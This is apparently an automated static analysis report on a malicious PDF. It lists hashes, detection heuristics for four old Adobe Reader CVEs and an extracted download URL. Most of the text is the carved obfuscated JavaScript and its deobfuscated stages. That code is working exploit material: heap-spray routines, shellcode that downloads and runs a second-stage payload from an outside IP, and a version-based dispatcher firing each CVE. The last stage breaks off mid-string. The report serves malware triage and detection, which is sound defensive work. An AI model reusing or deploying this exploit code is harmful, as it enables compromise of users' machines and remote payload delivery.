Malicious PDF — malware analysis report

Static analysis result for SHA-256 b1dbddaf61574ec5…

MALICIOUS

PDF

12.3 KB First seen: 2026-05-09
MD5: db7b10c1e985b2f0d70dd00cb28b8f45 SHA-1: 2c2d02ba998bb4b3b207fbdfe6300ab735515777 SHA-256: b1dbddaf61574ec56a9e7de62b3c7d2b6d0753d93e2a80c79d2d2e2bb1da8966
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, specifically targeting CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The JavaScript is designed to download and execute a second-stage payload from the URL http://66.199.229.50/w.php?f=30&e=5. This indicates a clear intent to compromise the user's system through exploit execution and subsequent payload delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=30&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11542 bytes
SHA-256: 61f120d8ceab44eadfc3a9b48d8950306c5172381acf7e342d60bc0731666b3d
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(52,33,37,36,37,57,40,57,5,5,2,20,67,55,1,57,9,38,51,13,29,29,9,38,33,70,36,71,9,38,51,14,33,70,9,38,41,14,36,71,9,38,36,75,13,71,9,38,13,13,14,33,9,38,29,71,70,17,9,38,71,17,51,2,9,38,51,2,13,17,9,38,17,70,71,17,9,38,41,17,51,2,9,38,14,29,40,70,9,38,41,29,51,2,9,38,13,13,17,51,9,38,29,29,22,2,9,38,14,36,51,2,9,38,17,13,13,70,9,38,13,13,41,71,9,38,51,40,28,70,9,38,40,14,36,36,9,38,33,33,40,17,9,38,2,51,33,33,9,38,71,17,51,2,9,38,70,13,13,17,9,38,13,75,71,29,9,38,41,14,17,29,9,38,51,41,33,2,9,38,28,71,13,71,9,38,36,71,51,14,9,38,14,40,41,14,9,38,36,2,36,75,9,38,14,40,71,70,9,38,51,2,14,29,9,38,13,70,41,14,9,38,41,71,51,2,9,38,41,51,13,14,9,38,33,14,17,13,9,38,51,2,14,29,9,38,28,17,41,29,9,38,33,14,17,13,9,38,70,75,13,13,9,38,71,40,71,75,9,38,53,22,33,70,9,38,70,14,17,13,9,38,22,2,13,13,9,38,2,36,17,33,9,38,13,51,40,17,9,38,41,71,33,28,9,38,70,40,17,51,9,38,17,22,70,2,9,38,22,53,17,13,9,38,36,2,71,17,9,38,13,2,33,40,9,38,41,14,40,33,9,38,14,36,36,29,9,38,14,36,51,2,9,38,17,13,28,71,9,38,29,29,22,22,9,38,17,70,51,2,9,38,51,22,71,2,9,38,36,70,71,29,9,38,14,71,33,33,9,38,17,70,28,71,9,38,22,51,51,2,9,38,22,22,17,13,9,38,17,71,51,2,9,38,17,13,51,2,9,38,53,2,70,14,9,38,14,75,14,36,9,38,36,2,70,13,9,38,53,22,14,13,9,38,29,51,51,2,9,38,51,17,28,17,9,38,17,70,41,22,9,38,41,71,13,13,9,38,75,29,17,13,9,38,33,13,36,2,9,38,29,51,51,2,9,38,51,2,17,51,9,38,29,53,33,41,9,38,14,75,17,14,9,38,75,51,36,51,9,38,33,33,33,33,9,38,36,28,33,33,9,38,36,51,33,75,9,38,17,17,17,17,9,38,17,17,17,17,9,38,14,17,14,51,9,38,71,17,29,53,9,38,33,33,29,51,9,38,17,17,17,17,9,38,14,17,17,17,9,38,70,17,51,13,9,38,14,17,40,75,9,38,51,2,14,14,9,38,51,2,36,70,9,38,40,17,14,36,9,38,70,13,51,13,9,38,33,33,17,14,9,38,29,51,36,13,9,38,29,36,29,33,9,38,17,17,17,17,9,38,41,14,29,51,9,38,29,70,41,28,9,38,14,71,29,22,9,38,40,29,33,33,9,38,70,71,51,13,9,38,51,2,17,51,9,38,36,51,36,51,9,38,33,33,29,40,9,38,33,33,33,33,9,38,17,28,36,2,9,38,41,28,36,2,9,38,36,70,51,40,9,38,17,40,17,71,9,38,17,17,17,17,9,38,14,70,51,22,9,38,17,70,28,71,9,38,17,71,70,41,9,38,41,28,28,71,9,38,29,41,29,14,9,38,70,41,41,13,9,38,28,71,71,71,9,38,41,29,17,71,9,38,13,13,41,28,9,38,70,41,13,28,9,38,28,71,71,71,9,38,28,17,17,51,9,38,41,13,28,22,9,38,14,13,28,17,9,38,33,51,29,51,9,38,17,17,17,17,9,38,33,33,17,17,9,38,17,70,14,29,9,38,36,51,51,2,9,38,70,75,13,13,9,38,70,41,14,40,9,38,40,22,71,71,9,38,41,41,17,17,9,38,29,28,41,17,9,38,70,41,41,71,9,38,40,22,71,71,9,38,28,36,17,14,9,38,29,70,29,71,9,38,70,29,29,70,9,38,40,22,71,71,9,38,17,17,17,75,9,38,51,53,14,75,9,38,17,71,70,40,9,38,51,51,13,17,9,38,40,22,71,71,9,38,71,40,17,71,9,38,29,53,14,40,9,38,29,53,17,17,9,38,14,13,17,17,9,38,29,53,14,41,9,38,33,33,17,17,9,38,40,71,14,29,9,38,70,17,51,14,9,38,40,29,41,14,9,38,17,17,29,53,9,38,33,33,14,13,9,38,17,71,14,29,9,38,17,17,29,53,9,38,36,2,51,13,9,38,14,13,17,70,9,38,14,29,33,33,9,38,51,13,17,71,9,38,17,70,70,13,9,38,17,28,36,2,9,38,40,13,36,2,9,38,51,17,71,41,9,38,17,17,13,33,9,38,33,53,41,14,9,38,51,17,71,41,9,38,17,17,13,33,9,38,70,71,41,14,9,38,17,17,29,53,9,38,33,36,29,53,9,38,14,29,33,33,9,38,36,51,17,51,9,38,33,36,75,70,9,38,33,33,33,33,9,38,71,36,51,36,9,38,36,70,17,36,9,38,33,36,75,51,9,38,17,36,51,53,9,38,29,33,51,75,9,38,2,22,17,40,9,38,70,53,13,13,9,38,14,2,51,53,9,38,70,29,40,2,9,38,41,75,71,29,9,38,40,53,13,29,9,38,41,17,28,33,9,38,41,71,29,51,9,38,41,17,41,71,9,38,28,33,13,53,9,38,13,29,28,33,9,38,28,36,13,29,9,38,13,75,13,40,9,38,28,36,13,75,9,38,13,28,13,28,9,38,28,36,13,75,9,38,13,17,13,14,9,38,41,41,28,33,9,38,41,17,28,36,9,38,41,17,29,51,9,38,29,29,13,33,9,38,13,13,13,22,9,38,28,29,13,17,9,38,13,22,29,14,9,38,17,17,13,14,9,38,17,17,17,17,57,15,33,38,31,70,72,52,54,31,42,36,66,27,10,37,10,53,0,49,23,5,48,43,47,52,12,36,37,10,53,58,12,36,31,55,72,47,26,28,39,49,23,5,48,10,53,6,1,10,53,15,30,10,53,1,10,53,58,67,38,2,67,72,10,52,31,55,37,17,0,49,23,56,28,5,15,10,36,72,38,10,31,42,10,53,15,30,42,33,38,31,70,72,52,54,31,42,2,8,37,5,48,27,53,10,42,22,63,55,1,31,36,43,42,45,10,10,53,23,37,5,15,27,53,10,42,27,43,1,17,8,17,70,17,70,17,70,17,70,15,27,53,10,42,53,22,22,10,1,17,8,71,17,17,17,17,17,15,27,53,10,42,21,53,23,12,54,53,22,1,38,31,36,67,70,53,21,36,37,2,20,67,55,5,15,27,53,10,42,67,70,19,12,36,31,1,21,53,23,12,54,53,22,58,12,36,31,55,72,47,26,28,15,27,53,10,42,49,23,1,53,22,22,10,62,37,67,70,19,12,36,31,6,17,8,13,51,5,15,27,53,10,42,23,53,10,67,21,1,38,31,36,67,70,53,21,36,37,7,9,38,75,17,75,17,9,38,75,17,75,17,7,5,15,23,53,10,67,21,1,36,66,27,10,37,23,53,10,67,21,0,49,23,5,15,27,53,10,42,70,54,38,31,72,28,1,37,27,43,62,17,8,71,17,17,17,17,17,5,56,53,22,22,10,15,33,54,10,37,27,53,10,42,70,54,38,31,72,1,17,15,70,54,38,31,72,39,70,54,38,31,72,28,15,70,54,38,31,72,6,6,5,48,22,63,55,35,70,54,38,31,72,18,1,23,53,10,67,21,6,21,53,23,12,54,53,22,15,30,42,27,53,10,42,54,27,36,10,33,12,54,43,1,38,31,36,67,70,53,21,36,37,7,9,38,17,70,17,70,9,38,17,70,17,70,7,5,15,43,47,52,12,36,37,54,27,36,10,33,12,54,43,58,12,36,31,55,72,47,39,71,71,75,14,28,5,48,54,27,36,10,33,12,54,43,6,1,54,27,36,10,33,12,54,43,15,30,42,72,47,52,67,58,70,54,12,12,53,2,61,72,54,10,36,1,44,54,12,12,53,2,58,70,54,12,12,36,70,72,11,69,53,52,12,59,31,33,54,37,48,67,38,2,20,64,7,7,0,69,67,55,64,54,27,36,10,33,12,54,43,30,5,15,30,42,33,38,31,70,72,52,54,31,42,21,10,52,31,72,33,37,5,48,31,54,21,1,38,31,36,67,70,53,21,36,37,7,9,38,17,45,17,45,9,38,17,45,17,45,9,38,17,45,17,45,9,38,17,45,17,45,7,5,15,27,53,10,42,21,53,23,12,54,53,22,1,38,31,36,67,70,53,21,36,37,2,20,67,55,5,15,47,36,53,21,2,12,54,70,63,1,31,54,21,6,21,53,23,12,54,53,22,15,2,52,55,2,12,54,70,63,1,38,31,36,67,70,53,21,36,37,7,9,38,17,45,17,45,9,38,17,45,17,45,7,5,15,47,36,53,22,36,10,67,52,66,36,1,28,17,15,67,21,10,53,23,1,47,36,53,22,36,10,67,52,66,36,6,47,36,53,21,2,12,54,70,63,58,12,36,31,55,72,47,15,43,47,52,12,36,37,2,52,55,2,12,54,70,63,58,12,36,31,55,72,47,39,67,21,10,53,23,5,48,2,52,55,2,12,54,70,63,6,1,2,52,55,2,12,54,70,63,15,30,42,33,52,12,12,2,12,54,70,63,1,2,52,55,2,12,54,70,63,58,67,38,2,67,72,10,52,31,55,37,17,0,67,21,10,53,23,5,15,2,12,54,70,63,1,2,52,55,2,12,54,70,63,58,67,38,2,67,72,10,52,31,55,37,17,0,2,52,55,2,12,54,70,63,58,12,36,31,55,72,47,62,67,21,10,53,23,5,15,43,47,52,12,36,37,2,12,54,70,63,58,12,36,31,55,72,47,6,67,21,10,53,23,39,17,8,71,17,17,17,17,5,48,2,12,54,70,63,1,2,12,54,70,63,6,2,12,54,70,63,6,33,52,12,12,2,12,54,70,63,15,30,42,69,36,69,1,31,36,43,42,45,10,10,53,23,37,5,15,33,54,10,37,52,1,17,15,52,39,40,71,17,17,15,52,6,6,5,48,69,36,69,35,52,18,1,2,12,54,70,63,6,47,36,53,21,2,12,54,70,63,15,30,42,27,53,10,42,31,38,69,1,40,28,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,15,38,72,52,12,58,21,10,52,31,72,33,37,7,9,71,14,17,17,17,33,7,0,31,38,69,5,15,30,42,33,38,31,70,72,52,54,31,42,55,36,72,52,70,54,31,37,5,48,27,53,10,42,53,10,10,23,1,31,36,43,42,45,10,10,53,23,37,5,15,52,33,37,53,21,21,58,22,54,70,58,44,54,12,12,53,2,58,55,36,72,59,70,54,31,5,48,27,53,10,42,21,53,23,12,54,53,22,1,38,31,36,67,70,53,21,36,37,2,20,67,55,5,15,27,53,10,42,47,46,49,14,17,17,44,65,1,21,53,23,12,54,53,22,58,12,36,31,55,72,47,26,28,15,27,53,10,42,49,23,1,17,8,71,17,17,17,17,17,62,37,47,46,49,14,17,17,44,65,6,17,8,13,51,5,15,27,53,10,42,23,53,10,67,21,1,38,31,36,67,70,53,21,36,37,7,9,38,75,17,75,17,9,38,75,17,75,17,7,5,15,23,53,10,67,21,1,36,66,27,10,37,23,53,10,67,21,0,49,23,5,15,27,53,10,42,21,14,45,20,74,29,14,33,1,37,17,8,17,70,17,70,17,70,17,70,62,17,8,71,17,17,17,17,17,5,56,17,8,71,17,17,17,17,17,15,33,54,10,37,27,53,10,42,27,49,70,3,50,75,29,23,1,17,15,27,49,70,3,50,75,29,23,39,21,14,45,20,74,29,14,33,15,27,49,70,3,50,75,29,23,6,6,5,48,53,10,10,23,35,27,49,70,3,50,75,29,23,18,1,23,53,10,67,21,6,21,53,23,12,54,53,22,15,30,42,27,53,10,42,72,16,34,47,65,2,73,43,1,38,31,36,67,70,53,21,36,37,7,9,17,75,7,5,15,43,47,52,12,36,37,72,16,34,47,65,2,73,43,58,12,36,31,55,72,47,39,17,8,71,17,17,17,5,48,72,16,34,47,65,2,73,43,6,1,72,16,34,47,65,2,73,43,15,30,42,72,16,34,47,65,2,73,43,1,7,65,58,7,6,72,16,34,47,65,2,73,43,15,53,21,21,58,22,54,70,58,44,54,12,12,53,2,58,55,36,72,59,70,54,31,37,72,16,34,47,65,2,73,43,5,15,30,30,42,53,25,12,38,55,52,31,67,1,53,21,21,58,21,12,38,55,59,31,67,15,27,53,10,42,67,27,1,21,53,10,67,36,59,31,72,37,53,21,21,58,27,52,36,43,36,10,32,36,10,67,52,54,31,58,72,54,61,72,10,52,31,55,37,5,58,70,47,53,10,45,72,37,17,5,5,15,33,54,10,37,27,53,10,42,52,1,17,15,52,39,53,25,12,38,55,52,31,67,58,12,36,31,55,72,47,15,52,6,6,5,48,52,33,37,53,25,12,38,55,52,31,67,35,52,18,58,31,53,69,36,1,1,57,11,61,70,10,52,21,72,57,5,48,27,53,10,42,12,27,1,53,25,12,38,55,52,31,67,35,52,18,58,27,36,10,67,52,54,31,15,30,30,42,52,33,37,37,12,27,1,1,75,5,4,4,37,37,67,27,1,1,51,5,60,60,37,12,27,39,1,51,58,40,28,5,5,5,48,55,36,72,52,70,54,31,37,5,15,30,36,12,67,36,42,52,33,37,12,27,1,1,41,58,40,5,48,21,10,52,31,72,33,37,5,15,30,36,12,67,36,42,52,33,37,37,37,67,27,1,1,29,5,4,4,37,67,27,1,1,41,5,5,60,60,37,12,27,39,41,58,40,40,5,5,48,2,8,37,5,15,30,36,12,67,36,42,52,33,37,37,12,27,68,1,75,58,40,5,4,4,37,12,27,39,1,75,58,28,5,4,4,37,12,27,68,1,51,58,40,13,5,4,4,37,12,27,39,1,51,58,40,41,5,5,48,33,38,31,70,72,52,54,31,42,53,37,5,48,38,72,52,12,58,21,10,52,31,72,22,37,57,21,24,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,42,64,42,23,23,23,23,40,40,40,57,0,31,36,43,42,50,53,72,36,37,5,5,15,30,27,53,10,42,47,1,53,21,21,58,21,12,38,55,59,31,67,15,33,54,10,37,27,53,10,42,33,1,17,15,33,39,47,58,12,36,31,55,72,47,15,33,6,6,5,48,52,33,37,47,35,33,18,58,31,53,69,36,1,1,57,11,61,70,10,52,21,72,57,5,48,27,53,10,42,52,1,47,35,33,18,58,27,36,10,67,52,54,31,15,30,30,42,52,33,37,37,52,68,51,58,40,28,5,60,60,37,52,39,51,58,28,5,5,48,70,1,31,36,43,42,45,10,10,53,23,37,5,15,27,53,10,42,22,1,38,31,36,67,70,53,21,36,37,57,9,38,75,17,75,17,9,38,75,17,75,17,57,5,15,27,53,10,42,36,1,38,31,36,67,70,53,21,36,37,2,20,67,55,5,15,43,47,52,12,36,37,22,58,12,36,31,55,72,47,39,1,17,8,51,17,17,17,5,48,22,6,1,22,15,30,22,1,22,58,67,38,2,67,72,10,37,17,0,17,8,51,17,17,17,62,36,58,12,36,31,55,72,47,5,15,33,54,10,37,33,1,17,15,33,39,28,75,17,17,15,33,6,6,5,48,70,35,33,18,1,22,6,36,15,30,53,37,5,15,53,37,5,15,72,10,23,48,72,47,52,67,58,69,36,22,52,53,58,31,36,43,25,12,53,23,36,10,37,31,38,12,12,5,15,30,70,53,72,70,47,37,36,5,48,30,53,37,5,15,30,30);
a=new String(",=bQ|)+'x%rEl35;U0]_jpdy@P*v26}nVfM[e(u<17 wCAWh{qD8iaog/'.I&S-k:Nzs>mc4tGK9");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
SHA-256: 2716123204bcd1d69104d0617e0b00f47a497304eb5cec4329360cacf18c78d2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u333d%u2630%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
SHA-256: 5fc5367b5dbd9720ea3403059670533e4f8801426de991c88c0585266b5b3224
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u333d%u2630%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	